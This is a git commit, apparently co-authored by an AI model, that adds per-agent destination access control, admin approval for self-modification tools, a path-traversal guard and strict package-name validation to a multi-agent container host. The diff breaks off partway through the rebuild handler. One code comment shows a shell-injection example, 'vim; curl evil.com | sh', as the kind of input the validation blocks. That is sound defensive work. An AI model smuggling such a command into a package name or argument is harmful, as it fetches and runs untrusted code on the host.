feat: named destinations + permission enforcement + fire-and-forget self-mod
Replaces implicit routing context (NANOCLAW_PLATFORM_ID env vars) with
per-agent named destination maps. Agents reference channels and peer
agents by local names; the host re-validates every outbound route against
a new agent_destinations table that is both the routing map and the ACL.
Model changes:
- New migration 004 adds agent_destinations (agent_group_id, local_name,
target_type, target_id). Backfills from existing messaging_group_agents.
- Host writes /workspace/.nanoclaw-destinations.json before every container
wake so admin changes take effect on next start.
- Container loads map at startup, appends system-prompt addendum listing
available destinations and the <message to="name">…</message> syntax.
- Agent main output is parsed for <message to="..."> blocks; each block
becomes a messages_out row with routing resolved via the local map.
Untagged text and <internal>…</internal> are scratchpad (logged only).
- send_message MCP tool now takes `to` (destination name) instead of raw
routing fields. send_to_agent deleted (redundant — agents are just
destinations). send_file/edit_message/add_reaction route via map too.
- Inbound formatter adds from="name" attribute via reverse-lookup so the
agent sees a consistent namespace in both directions.
Permission enforcement:
- Host checks hasDestination() before every channel delivery AND every
agent-to-agent route. Unauthorized messages dropped and logged.
- routeAgentMessage simplified: ~15 lines, no JSON parse, content copied
verbatim (target formatter resolves the sender via its own local map).
- create_agent is admin-only, checked at both the container (tool not
registered for non-admins) and the host (re-check on receive). Inserts
bidirectional destination rows so parent↔child comms work immediately.
Includes path-traversal guard on folder name.
Self-modification cleanup:
- add_mcp_server now requires admin approval (previously had none).
- install_packages validates package names on BOTH sides (container tool
+ host receiver) with strict regex. Max 20 packages per request.
- All three self-mod tools are fire-and-forget: write request, return
immediately with "submitted" message. Admin approval triggers a chat
notification to the requesting agent — no tool-call polling, no 5-min
holds. On rebuild/mcp_server approval, the container is killed so the
next wake picks up new config/image.
- Approval delivery extracted into requestApproval() helper (the one
place where three call sites were literally identical).
Also folded in the phase-1 dynamic import cleanup (create_agent no longer
does `await import('./db/agent-groups.js')`) and removes NANOCLAW_PLATFORM_ID
/ CHANNEL_TYPE / THREAD_ID env-var routing entirely.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This commit is contained in:
@@ -15,7 +15,13 @@ import { getAgentGroup } from './db/agent-groups.js';
|
||||
import { getMessagingGroup } from './db/messaging-groups.js';
|
||||
import { log } from './log.js';
|
||||
import { validateAdditionalMounts } from './mount-security.js';
|
||||
import { markContainerIdle, markContainerRunning, markContainerStopped, sessionDir } from './session-manager.js';
|
||||
import {
|
||||
markContainerIdle,
|
||||
markContainerRunning,
|
||||
markContainerStopped,
|
||||
sessionDir,
|
||||
writeDestinationsFile,
|
||||
} from './session-manager.js';
|
||||
import type { AgentGroup, Session } from './types.js';
|
||||
|
||||
const onecli = new OneCLI({ url: ONECLI_URL });
|
||||
@@ -53,6 +59,9 @@ export async function wakeContainer(session: Session): Promise<void> {
|
||||
return;
|
||||
}
|
||||
|
||||
// Refresh the destination map file so any admin changes take effect on wake
|
||||
writeDestinationsFile(agentGroup.id, session.id);
|
||||
|
||||
const mounts = buildMounts(agentGroup, session);
|
||||
const containerName = `nanoclaw-v2-${agentGroup.folder}-${Date.now()}`;
|
||||
const agentIdentifier = agentGroup.is_admin ? undefined : agentGroup.folder.toLowerCase().replace(/_/g, '-');
|
||||
@@ -235,6 +244,9 @@ async function buildContainerArgs(
|
||||
if (agentGroup.name) {
|
||||
args.push('-e', `NANOCLAW_ASSISTANT_NAME=${agentGroup.name}`);
|
||||
}
|
||||
args.push('-e', `NANOCLAW_AGENT_GROUP_ID=${agentGroup.id}`);
|
||||
args.push('-e', `NANOCLAW_AGENT_GROUP_NAME=${agentGroup.name}`);
|
||||
args.push('-e', `NANOCLAW_IS_ADMIN=${agentGroup.is_admin ? '1' : '0'}`);
|
||||
|
||||
// OneCLI gateway — injects HTTPS_PROXY + certs so container API calls
|
||||
// are routed through the agent vault for credential injection.
|
||||
|
||||
74
src/db/agent-destinations.ts
Normal file
74
src/db/agent-destinations.ts
Normal file
@@ -0,0 +1,74 @@
|
||||
/**
|
||||
* Per-agent destination map + ACL.
|
||||
*
|
||||
* Each row means: agent `agent_group_id` is allowed to send messages to
|
||||
* target (`target_type`, `target_id`), and refers to it locally as `local_name`.
|
||||
*
|
||||
* Names are local to each source agent — they exist only inside that agent's
|
||||
* namespace. The host uses this table both for routing (resolve name → ID)
|
||||
* and for permission checks (row exists ⇒ authorized).
|
||||
*/
|
||||
import type { AgentDestination } from '../types.js';
|
||||
import { getDb } from './connection.js';
|
||||
|
||||
export function createDestination(row: AgentDestination): void {
|
||||
getDb()
|
||||
.prepare(
|
||||
`INSERT INTO agent_destinations (agent_group_id, local_name, target_type, target_id, created_at)
|
||||
VALUES (@agent_group_id, @local_name, @target_type, @target_id, @created_at)`,
|
||||
)
|
||||
.run(row);
|
||||
}
|
||||
|
||||
export function getDestinations(agentGroupId: string): AgentDestination[] {
|
||||
return getDb()
|
||||
.prepare('SELECT * FROM agent_destinations WHERE agent_group_id = ?')
|
||||
.all(agentGroupId) as AgentDestination[];
|
||||
}
|
||||
|
||||
export function getDestinationByName(agentGroupId: string, localName: string): AgentDestination | undefined {
|
||||
return getDb()
|
||||
.prepare('SELECT * FROM agent_destinations WHERE agent_group_id = ? AND local_name = ?')
|
||||
.get(agentGroupId, localName) as AgentDestination | undefined;
|
||||
}
|
||||
|
||||
/** Reverse lookup: what does this agent call the given target? */
|
||||
export function getDestinationByTarget(
|
||||
agentGroupId: string,
|
||||
targetType: 'channel' | 'agent',
|
||||
targetId: string,
|
||||
): AgentDestination | undefined {
|
||||
return getDb()
|
||||
.prepare(
|
||||
'SELECT * FROM agent_destinations WHERE agent_group_id = ? AND target_type = ? AND target_id = ?',
|
||||
)
|
||||
.get(agentGroupId, targetType, targetId) as AgentDestination | undefined;
|
||||
}
|
||||
|
||||
/** Permission check: can this agent send to this target? */
|
||||
export function hasDestination(
|
||||
agentGroupId: string,
|
||||
targetType: 'channel' | 'agent',
|
||||
targetId: string,
|
||||
): boolean {
|
||||
const row = getDb()
|
||||
.prepare(
|
||||
'SELECT 1 FROM agent_destinations WHERE agent_group_id = ? AND target_type = ? AND target_id = ? LIMIT 1',
|
||||
)
|
||||
.get(agentGroupId, targetType, targetId);
|
||||
return !!row;
|
||||
}
|
||||
|
||||
export function deleteDestination(agentGroupId: string, localName: string): void {
|
||||
getDb().prepare('DELETE FROM agent_destinations WHERE agent_group_id = ? AND local_name = ?').run(agentGroupId, localName);
|
||||
}
|
||||
|
||||
/** Normalize a human-readable name into a lowercase, dash-separated identifier. */
|
||||
export function normalizeName(name: string): string {
|
||||
return (
|
||||
name
|
||||
.toLowerCase()
|
||||
.replace(/[^a-z0-9]+/g, '-')
|
||||
.replace(/^-+|-+$/g, '') || 'unnamed'
|
||||
);
|
||||
}
|
||||
@@ -62,7 +62,7 @@ describe('migrations', () => {
|
||||
const db = initTestDb();
|
||||
runMigrations(db);
|
||||
const row = db.prepare('SELECT MAX(version) as v FROM schema_version').get() as { v: number };
|
||||
expect(row.v).toBe(3);
|
||||
expect(row.v).toBe(4);
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
81
src/db/migrations/004-agent-destinations.ts
Normal file
81
src/db/migrations/004-agent-destinations.ts
Normal file
@@ -0,0 +1,81 @@
|
||||
import type Database from 'better-sqlite3';
|
||||
|
||||
import type { Migration } from './index.js';
|
||||
|
||||
/**
|
||||
* Agent destinations: per-agent named map of allowed message targets.
|
||||
*
|
||||
* This table is BOTH the routing map and the ACL. A row exists iff the
|
||||
* source agent is permitted to send to the target. No row = unauthorized.
|
||||
*
|
||||
* target_type: 'channel' references messaging_groups(id)
|
||||
* target_type: 'agent' references agent_groups(id)
|
||||
*
|
||||
* Names are scoped per source agent — worker-1 may call the admin "parent"
|
||||
* while admin calls the child "worker-1". The (agent_group_id, local_name)
|
||||
* PK enforces uniqueness within a single agent's namespace only.
|
||||
*/
|
||||
export const migration004: Migration = {
|
||||
version: 4,
|
||||
name: 'agent-destinations',
|
||||
up(db: Database.Database) {
|
||||
db.exec(`
|
||||
CREATE TABLE agent_destinations (
|
||||
agent_group_id TEXT NOT NULL REFERENCES agent_groups(id),
|
||||
local_name TEXT NOT NULL,
|
||||
target_type TEXT NOT NULL,
|
||||
target_id TEXT NOT NULL,
|
||||
created_at TEXT NOT NULL,
|
||||
PRIMARY KEY (agent_group_id, local_name)
|
||||
);
|
||||
CREATE INDEX idx_agent_dest_target ON agent_destinations(target_type, target_id);
|
||||
`);
|
||||
|
||||
// Backfill from existing messaging_group_agents wirings.
|
||||
// For each wired (agent, messaging_group), create a destination row
|
||||
// using the messaging group's name (normalized) as the local name.
|
||||
// Collisions get a -2, -3 suffix within each agent's namespace.
|
||||
const rows = db
|
||||
.prepare(
|
||||
`SELECT mga.agent_group_id, mga.messaging_group_id, mg.channel_type, mg.name
|
||||
FROM messaging_group_agents mga
|
||||
JOIN messaging_groups mg ON mg.id = mga.messaging_group_id`,
|
||||
)
|
||||
.all() as Array<{
|
||||
agent_group_id: string;
|
||||
messaging_group_id: string;
|
||||
channel_type: string;
|
||||
name: string | null;
|
||||
}>;
|
||||
|
||||
const takenByAgent = new Map<string, Set<string>>();
|
||||
const insert = db.prepare(
|
||||
`INSERT INTO agent_destinations (agent_group_id, local_name, target_type, target_id, created_at)
|
||||
VALUES (?, ?, 'channel', ?, ?)`,
|
||||
);
|
||||
const now = new Date().toISOString();
|
||||
|
||||
for (const row of rows) {
|
||||
const base = normalizeName(row.name || `${row.channel_type}-${row.messaging_group_id.slice(0, 8)}`);
|
||||
const taken = takenByAgent.get(row.agent_group_id) ?? new Set<string>();
|
||||
let localName = base;
|
||||
let suffix = 2;
|
||||
while (taken.has(localName)) {
|
||||
localName = `${base}-${suffix}`;
|
||||
suffix++;
|
||||
}
|
||||
taken.add(localName);
|
||||
takenByAgent.set(row.agent_group_id, taken);
|
||||
insert.run(row.agent_group_id, localName, row.messaging_group_id, now);
|
||||
}
|
||||
},
|
||||
};
|
||||
|
||||
function normalizeName(name: string): string {
|
||||
return (
|
||||
name
|
||||
.toLowerCase()
|
||||
.replace(/[^a-z0-9]+/g, '-')
|
||||
.replace(/^-+|-+$/g, '') || 'unnamed'
|
||||
);
|
||||
}
|
||||
@@ -4,6 +4,7 @@ import { log } from '../../log.js';
|
||||
import { migration001 } from './001-initial.js';
|
||||
import { migration002 } from './002-chat-sdk-state.js';
|
||||
import { migration003 } from './003-pending-approvals.js';
|
||||
import { migration004 } from './004-agent-destinations.js';
|
||||
|
||||
export interface Migration {
|
||||
version: number;
|
||||
@@ -11,7 +12,7 @@ export interface Migration {
|
||||
up: (db: Database.Database) => void;
|
||||
}
|
||||
|
||||
const migrations: Migration[] = [migration001, migration002, migration003];
|
||||
const migrations: Migration[] = [migration001, migration002, migration003, migration004];
|
||||
|
||||
export function runMigrations(db: Database.Database): void {
|
||||
db.exec(`
|
||||
|
||||
457
src/delivery.ts
457
src/delivery.ts
@@ -19,8 +19,20 @@ import {
|
||||
getSession,
|
||||
createPendingApproval,
|
||||
} from './db/sessions.js';
|
||||
import { getAgentGroup, getAdminAgentGroup, createAgentGroup, updateAgentGroup } from './db/agent-groups.js';
|
||||
import { getMessagingGroupsByAgentGroup } from './db/messaging-groups.js';
|
||||
import {
|
||||
getAgentGroup,
|
||||
getAdminAgentGroup,
|
||||
createAgentGroup,
|
||||
updateAgentGroup,
|
||||
getAgentGroupByFolder,
|
||||
} from './db/agent-groups.js';
|
||||
import {
|
||||
createDestination,
|
||||
getDestinationByName,
|
||||
hasDestination,
|
||||
normalizeName,
|
||||
} from './db/agent-destinations.js';
|
||||
import { getMessagingGroupByPlatform, getMessagingGroupsByAgentGroup } from './db/messaging-groups.js';
|
||||
import { log } from './log.js';
|
||||
import {
|
||||
openInboundDb,
|
||||
@@ -62,6 +74,83 @@ export function setDeliveryAdapter(adapter: ChannelDeliveryAdapter): void {
|
||||
deliveryAdapter = adapter;
|
||||
}
|
||||
|
||||
/**
|
||||
* Deliver a system notification to an agent as a regular chat message.
|
||||
* Used for fire-and-forget responses from host actions (create_agent result,
|
||||
* approval outcomes, etc.). The agent sees it as an inbound chat message
|
||||
* with sender="system".
|
||||
*/
|
||||
function notifyAgent(session: Session, text: string): void {
|
||||
writeSessionMessage(session.agent_group_id, session.id, {
|
||||
id: `sys-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`,
|
||||
kind: 'chat',
|
||||
timestamp: new Date().toISOString(),
|
||||
platformId: session.agent_group_id,
|
||||
channelType: 'agent',
|
||||
threadId: null,
|
||||
content: JSON.stringify({ text, sender: 'system', senderId: 'system' }),
|
||||
});
|
||||
// Wake the container so it picks up the notification promptly
|
||||
const fresh = getSession(session.id);
|
||||
if (fresh) {
|
||||
wakeContainer(fresh).catch((err) => log.error('Failed to wake container after notification', { err }));
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Send an approval request to the admin channel and record a pending_approval row.
|
||||
* The admin's button click routes via the existing ncq: card infrastructure to
|
||||
* handleApprovalResponse in index.ts, which completes the action.
|
||||
*/
|
||||
async function requestApproval(
|
||||
session: Session,
|
||||
agentName: string,
|
||||
action: 'install_packages' | 'request_rebuild' | 'add_mcp_server',
|
||||
payload: Record<string, unknown>,
|
||||
question: string,
|
||||
): Promise<void> {
|
||||
const adminGroup = getAdminAgentGroup();
|
||||
const adminMGs = adminGroup ? getMessagingGroupsByAgentGroup(adminGroup.id) : [];
|
||||
if (adminMGs.length === 0) {
|
||||
notifyAgent(session, `${action} failed: no admin channel configured for approvals.`);
|
||||
return;
|
||||
}
|
||||
const adminChannel = adminMGs[0];
|
||||
|
||||
const approvalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
|
||||
createPendingApproval({
|
||||
approval_id: approvalId,
|
||||
session_id: session.id,
|
||||
request_id: approvalId, // fire-and-forget: no separate request id to correlate
|
||||
action,
|
||||
payload: JSON.stringify(payload),
|
||||
created_at: new Date().toISOString(),
|
||||
});
|
||||
|
||||
if (deliveryAdapter) {
|
||||
try {
|
||||
await deliveryAdapter.deliver(
|
||||
adminChannel.channel_type,
|
||||
adminChannel.platform_id,
|
||||
null,
|
||||
'chat-sdk',
|
||||
JSON.stringify({
|
||||
type: 'ask_question',
|
||||
questionId: approvalId,
|
||||
question,
|
||||
options: ['Approve', 'Reject'],
|
||||
}),
|
||||
);
|
||||
} catch (err) {
|
||||
log.error('Failed to deliver approval card', { action, approvalId, err });
|
||||
notifyAgent(session, `${action} failed: could not deliver approval request to admin.`);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
log.info('Approval requested', { action, approvalId, agentName });
|
||||
}
|
||||
|
||||
/** Show typing indicator on a channel. Called when a message is routed to the agent. */
|
||||
export async function triggerTyping(channelType: string, platformId: string, threadId: string | null): Promise<void> {
|
||||
try {
|
||||
@@ -227,12 +316,27 @@ async function deliverMessage(
|
||||
return;
|
||||
}
|
||||
|
||||
// Agent-to-agent — route to target session
|
||||
// Agent-to-agent — route to target session (with permission check)
|
||||
if (msg.channel_type === 'agent') {
|
||||
await routeAgentMessage(msg, session);
|
||||
return;
|
||||
}
|
||||
|
||||
// Permission check: the source agent must have a destination row for this target.
|
||||
// Defense in depth — the container already validates via its local map, but the
|
||||
// host's central DB is the authoritative ACL.
|
||||
if (msg.channel_type && msg.platform_id) {
|
||||
const mg = getMessagingGroupByPlatform(msg.channel_type, msg.platform_id);
|
||||
if (!mg || !hasDestination(session.agent_group_id, 'channel', mg.id)) {
|
||||
log.warn('Unauthorized channel destination — dropping message', {
|
||||
sourceAgentGroup: session.agent_group_id,
|
||||
channelType: msg.channel_type,
|
||||
platformId: msg.platform_id,
|
||||
});
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// Track pending questions for ask_user_question flow
|
||||
if (content.type === 'ask_question' && content.questionId) {
|
||||
createPendingQuestion({
|
||||
@@ -293,7 +397,13 @@ async function deliverMessage(
|
||||
return platformMsgId;
|
||||
}
|
||||
|
||||
/** Route an agent-to-agent message to the target agent's session. */
|
||||
/**
|
||||
* Route an agent-to-agent message to the target agent's session.
|
||||
*
|
||||
* Permission is enforced via agent_destinations — the source agent must have
|
||||
* a row for the target. Content is copied verbatim; the target's formatter
|
||||
* will look up the source agent in its own local map to display a name.
|
||||
*/
|
||||
async function routeAgentMessage(
|
||||
msg: { id: string; platform_id: string | null; content: string },
|
||||
sourceSession: Session,
|
||||
@@ -304,35 +414,29 @@ async function routeAgentMessage(
|
||||
return;
|
||||
}
|
||||
|
||||
const targetGroup = getAgentGroup(targetAgentGroupId);
|
||||
if (!targetGroup) {
|
||||
if (!hasDestination(sourceSession.agent_group_id, 'agent', targetAgentGroupId)) {
|
||||
log.warn('Unauthorized agent-to-agent message — dropping', {
|
||||
source: sourceSession.agent_group_id,
|
||||
target: targetAgentGroupId,
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
if (!getAgentGroup(targetAgentGroupId)) {
|
||||
log.warn('Target agent group not found', { id: msg.id, targetAgentGroupId });
|
||||
return;
|
||||
}
|
||||
|
||||
const sourceGroup = getAgentGroup(sourceSession.agent_group_id);
|
||||
const sourceAgentName = sourceGroup?.name || sourceSession.agent_group_id;
|
||||
|
||||
// Find or create a session for the target agent
|
||||
const { session: targetSession } = resolveSession(targetAgentGroupId, null, null, 'agent-shared');
|
||||
|
||||
// Enrich content with sender info
|
||||
const content = JSON.parse(msg.content);
|
||||
const enrichedContent = JSON.stringify({
|
||||
text: content.text,
|
||||
sender: sourceAgentName,
|
||||
senderId: sourceSession.agent_group_id,
|
||||
});
|
||||
|
||||
const messageId = `agent-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
|
||||
writeSessionMessage(targetAgentGroupId, targetSession.id, {
|
||||
id: messageId,
|
||||
id: `a2a-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`,
|
||||
kind: 'chat',
|
||||
timestamp: new Date().toISOString(),
|
||||
platformId: sourceSession.agent_group_id,
|
||||
channelType: 'agent',
|
||||
threadId: null,
|
||||
content: enrichedContent,
|
||||
content: msg.content,
|
||||
});
|
||||
|
||||
log.info('Agent message routed', {
|
||||
@@ -341,10 +445,8 @@ async function routeAgentMessage(
|
||||
targetSession: targetSession.id,
|
||||
});
|
||||
|
||||
const freshSession = getSession(targetSession.id);
|
||||
if (freshSession) {
|
||||
await wakeContainer(freshSession);
|
||||
}
|
||||
const fresh = getSession(targetSession.id);
|
||||
if (fresh) await wakeContainer(fresh);
|
||||
}
|
||||
|
||||
/** Ensure the delivered table has new columns (migration for existing sessions). */
|
||||
@@ -436,205 +538,176 @@ async function handleSystemAction(
|
||||
case 'create_agent': {
|
||||
const requestId = content.requestId as string;
|
||||
const name = content.name as string;
|
||||
let folder =
|
||||
(content.folder as string) ||
|
||||
name
|
||||
.toLowerCase()
|
||||
.replace(/[^a-z0-9_-]/g, '_')
|
||||
.replace(/_+/g, '_');
|
||||
const instructions = content.instructions as string | null;
|
||||
|
||||
try {
|
||||
// Avoid duplicate folders
|
||||
const { getAgentGroupByFolder } = await import('./db/agent-groups.js');
|
||||
if (getAgentGroupByFolder(folder)) {
|
||||
folder = `${folder}_${Date.now()}`;
|
||||
}
|
||||
|
||||
const agentGroupId = `ag-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
|
||||
|
||||
createAgentGroup({
|
||||
id: agentGroupId,
|
||||
name,
|
||||
folder,
|
||||
is_admin: 0,
|
||||
agent_provider: null,
|
||||
container_config: null,
|
||||
created_at: new Date().toISOString(),
|
||||
});
|
||||
|
||||
const groupPath = path.join(GROUPS_DIR, folder);
|
||||
fs.mkdirSync(groupPath, { recursive: true });
|
||||
|
||||
if (instructions) {
|
||||
fs.writeFileSync(path.join(groupPath, 'CLAUDE.md'), instructions);
|
||||
}
|
||||
|
||||
writeSystemResponse(session.agent_group_id, session.id, requestId, 'success', {
|
||||
agentGroupId,
|
||||
name,
|
||||
folder,
|
||||
});
|
||||
|
||||
log.info('Agent group created via system action', { agentGroupId, name, folder });
|
||||
} catch (e) {
|
||||
writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', {
|
||||
error: e instanceof Error ? e.message : String(e),
|
||||
});
|
||||
const sourceGroup = getAgentGroup(session.agent_group_id);
|
||||
if (!sourceGroup?.is_admin) {
|
||||
// Notify the agent via a chat message (fire-and-forget pattern)
|
||||
notifyAgent(session, `Your create_agent request for "${name}" was rejected: admin permission required.`);
|
||||
log.warn('create_agent denied (not admin)', { sessionAgentGroup: session.agent_group_id, name });
|
||||
break;
|
||||
}
|
||||
|
||||
const localName = normalizeName(name);
|
||||
|
||||
// Collision in the creator's destination namespace
|
||||
if (getDestinationByName(sourceGroup.id, localName)) {
|
||||
notifyAgent(session, `Cannot create agent "${name}": you already have a destination named "${localName}".`);
|
||||
break;
|
||||
}
|
||||
|
||||
// Derive a safe folder name, deduplicated globally across agent_groups.folder
|
||||
let folder = localName;
|
||||
let suffix = 2;
|
||||
while (getAgentGroupByFolder(folder)) {
|
||||
folder = `${localName}-${suffix}`;
|
||||
suffix++;
|
||||
}
|
||||
|
||||
const groupPath = path.join(GROUPS_DIR, folder);
|
||||
const resolvedPath = path.resolve(groupPath);
|
||||
const resolvedGroupsDir = path.resolve(GROUPS_DIR);
|
||||
if (!resolvedPath.startsWith(resolvedGroupsDir + path.sep)) {
|
||||
notifyAgent(session, `Cannot create agent "${name}": invalid folder path.`);
|
||||
log.error('create_agent path traversal attempt', { folder, resolvedPath });
|
||||
break;
|
||||
}
|
||||
|
||||
const agentGroupId = `ag-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
|
||||
const now = new Date().toISOString();
|
||||
|
||||
createAgentGroup({
|
||||
id: agentGroupId,
|
||||
name,
|
||||
folder,
|
||||
is_admin: 0,
|
||||
agent_provider: null,
|
||||
container_config: null,
|
||||
created_at: now,
|
||||
});
|
||||
|
||||
fs.mkdirSync(groupPath, { recursive: true });
|
||||
if (instructions) {
|
||||
fs.writeFileSync(path.join(groupPath, 'CLAUDE.md'), instructions);
|
||||
}
|
||||
|
||||
// Insert bidirectional destination rows (= ACL grants).
|
||||
// Creator refers to child by the name it chose; child refers to creator as "parent".
|
||||
createDestination({
|
||||
agent_group_id: sourceGroup.id,
|
||||
local_name: localName,
|
||||
target_type: 'agent',
|
||||
target_id: agentGroupId,
|
||||
created_at: now,
|
||||
});
|
||||
// Handle the unlikely case where the child already has a "parent" destination
|
||||
// (shouldn't happen for a brand-new agent, but be safe).
|
||||
let parentName = 'parent';
|
||||
let parentSuffix = 2;
|
||||
while (getDestinationByName(agentGroupId, parentName)) {
|
||||
parentName = `parent-${parentSuffix}`;
|
||||
parentSuffix++;
|
||||
}
|
||||
createDestination({
|
||||
agent_group_id: agentGroupId,
|
||||
local_name: parentName,
|
||||
target_type: 'agent',
|
||||
target_id: sourceGroup.id,
|
||||
created_at: now,
|
||||
});
|
||||
|
||||
// Fire-and-forget notification back to the creator
|
||||
notifyAgent(session, `Agent "${localName}" created. You can now message it with <message to="${localName}">...</message>.`);
|
||||
log.info('Agent group created', { agentGroupId, name, localName, folder, parent: sourceGroup.id });
|
||||
// Note: requestId is unused — this is fire-and-forget, not request/response.
|
||||
void requestId;
|
||||
break;
|
||||
}
|
||||
|
||||
case 'add_mcp_server': {
|
||||
const requestId = content.requestId as string;
|
||||
const agentGroup = getAgentGroup(session.agent_group_id);
|
||||
if (!agentGroup) {
|
||||
notifyAgent(session, 'add_mcp_server failed: agent group not found.');
|
||||
break;
|
||||
}
|
||||
const serverName = content.name as string;
|
||||
const command = content.command as string;
|
||||
const serverArgs = content.args as string[];
|
||||
const serverEnv = content.env as Record<string, string>;
|
||||
|
||||
try {
|
||||
const agentGroup = getAgentGroup(session.agent_group_id);
|
||||
if (!agentGroup) throw new Error('Agent group not found');
|
||||
|
||||
const containerConfig = agentGroup.container_config ? JSON.parse(agentGroup.container_config) : {};
|
||||
if (!containerConfig.mcpServers) containerConfig.mcpServers = {};
|
||||
containerConfig.mcpServers[serverName] = { command, args: serverArgs || [], env: serverEnv || {} };
|
||||
|
||||
updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) });
|
||||
|
||||
writeSystemResponse(session.agent_group_id, session.id, requestId, 'success', {
|
||||
message: `MCP server "${serverName}" added. Will take effect on next container restart.`,
|
||||
});
|
||||
|
||||
log.info('MCP server added', { agentGroupId: session.agent_group_id, name: serverName });
|
||||
} catch (e) {
|
||||
writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', {
|
||||
error: e instanceof Error ? e.message : String(e),
|
||||
});
|
||||
if (!serverName || !command) {
|
||||
notifyAgent(session, 'add_mcp_server failed: name and command are required.');
|
||||
break;
|
||||
}
|
||||
await requestApproval(session, agentGroup.name, 'add_mcp_server', {
|
||||
name: serverName,
|
||||
command,
|
||||
args: (content.args as string[]) || [],
|
||||
env: (content.env as Record<string, string>) || {},
|
||||
}, `Agent "${agentGroup.name}" requests a new MCP server:\n${serverName} (${command})`);
|
||||
break;
|
||||
}
|
||||
|
||||
case 'install_packages': {
|
||||
const requestId = content.requestId as string;
|
||||
const apt = (content.apt as string[]) || [];
|
||||
const npm = (content.npm as string[]) || [];
|
||||
const reason = content.reason as string;
|
||||
|
||||
const agentGroup = getAgentGroup(session.agent_group_id);
|
||||
if (!agentGroup) {
|
||||
writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { error: 'Agent group not found' });
|
||||
notifyAgent(session, 'install_packages failed: agent group not found.');
|
||||
break;
|
||||
}
|
||||
|
||||
// Find admin channel for approval card
|
||||
const adminGroup = getAdminAgentGroup();
|
||||
let approvalChannelType: string | null = null;
|
||||
let approvalPlatformId: string | null = null;
|
||||
const apt = (content.apt as string[]) || [];
|
||||
const npm = (content.npm as string[]) || [];
|
||||
const reason = (content.reason as string) || '';
|
||||
|
||||
if (adminGroup) {
|
||||
const adminMGs = getMessagingGroupsByAgentGroup(adminGroup.id);
|
||||
if (adminMGs.length > 0) {
|
||||
approvalChannelType = adminMGs[0].channel_type;
|
||||
approvalPlatformId = adminMGs[0].platform_id;
|
||||
}
|
||||
// Host-side sanitization (defense in depth — container should validate first).
|
||||
// Strict allowlist: Debian/npm naming rules only. Blocks shell injection via
|
||||
// package names like `vim; curl evil.com | sh`.
|
||||
const APT_RE = /^[a-z0-9][a-z0-9._+-]*$/;
|
||||
const NPM_RE = /^(@[a-z0-9][a-z0-9._-]*\/)?[a-z0-9][a-z0-9._-]*$/;
|
||||
const MAX_PACKAGES = 20;
|
||||
if (apt.length + npm.length === 0) {
|
||||
notifyAgent(session, 'install_packages failed: at least one apt or npm package is required.');
|
||||
break;
|
||||
}
|
||||
|
||||
if (!approvalChannelType || !approvalPlatformId) {
|
||||
writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', {
|
||||
error: 'No admin channel found for approval',
|
||||
});
|
||||
if (apt.length + npm.length > MAX_PACKAGES) {
|
||||
notifyAgent(session, `install_packages failed: max ${MAX_PACKAGES} packages per request.`);
|
||||
break;
|
||||
}
|
||||
const invalidApt = apt.find((p) => !APT_RE.test(p));
|
||||
if (invalidApt) {
|
||||
notifyAgent(session, `install_packages failed: invalid apt package name "${invalidApt}".`);
|
||||
log.warn('install_packages: invalid apt package rejected', { pkg: invalidApt });
|
||||
break;
|
||||
}
|
||||
const invalidNpm = npm.find((p) => !NPM_RE.test(p));
|
||||
if (invalidNpm) {
|
||||
notifyAgent(session, `install_packages failed: invalid npm package name "${invalidNpm}".`);
|
||||
log.warn('install_packages: invalid npm package rejected', { pkg: invalidNpm });
|
||||
break;
|
||||
}
|
||||
|
||||
const approvalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
|
||||
|
||||
createPendingApproval({
|
||||
approval_id: approvalId,
|
||||
session_id: session.id,
|
||||
request_id: requestId,
|
||||
action: 'install_packages',
|
||||
payload: JSON.stringify({ apt, npm, reason }),
|
||||
created_at: new Date().toISOString(),
|
||||
});
|
||||
|
||||
const packageList = [...apt.map((p: string) => `apt: ${p}`), ...npm.map((p: string) => `npm: ${p}`)].join(', ');
|
||||
if (deliveryAdapter) {
|
||||
await deliveryAdapter.deliver(
|
||||
approvalChannelType,
|
||||
approvalPlatformId,
|
||||
null,
|
||||
'chat-sdk',
|
||||
JSON.stringify({
|
||||
type: 'ask_question',
|
||||
questionId: approvalId,
|
||||
question: `Agent "${agentGroup.name}" requests package installation:\n${packageList}${reason ? `\nReason: ${reason}` : ''}`,
|
||||
options: ['Approve', 'Reject'],
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
log.info('Package install approval requested', { approvalId, agentGroup: agentGroup.name, apt, npm });
|
||||
const packageList = [...apt.map((p) => `apt: ${p}`), ...npm.map((p) => `npm: ${p}`)].join(', ');
|
||||
await requestApproval(
|
||||
session,
|
||||
agentGroup.name,
|
||||
'install_packages',
|
||||
{ apt, npm, reason },
|
||||
`Agent "${agentGroup.name}" requests package installation:\n${packageList}${reason ? `\nReason: ${reason}` : ''}`,
|
||||
);
|
||||
break;
|
||||
}
|
||||
|
||||
case 'request_rebuild': {
|
||||
const requestId = content.requestId as string;
|
||||
const reason = content.reason as string;
|
||||
|
||||
const agentGroup = getAgentGroup(session.agent_group_id);
|
||||
if (!agentGroup) {
|
||||
writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { error: 'Agent group not found' });
|
||||
notifyAgent(session, 'request_rebuild failed: agent group not found.');
|
||||
break;
|
||||
}
|
||||
|
||||
// Find admin channel for approval card
|
||||
const adminGroup2 = getAdminAgentGroup();
|
||||
let rebuildChannelType: string | null = null;
|
||||
let rebuildPlatformId: string | null = null;
|
||||
|
||||
if (adminGroup2) {
|
||||
const adminMGs2 = getMessagingGroupsByAgentGroup(adminGroup2.id);
|
||||
if (adminMGs2.length > 0) {
|
||||
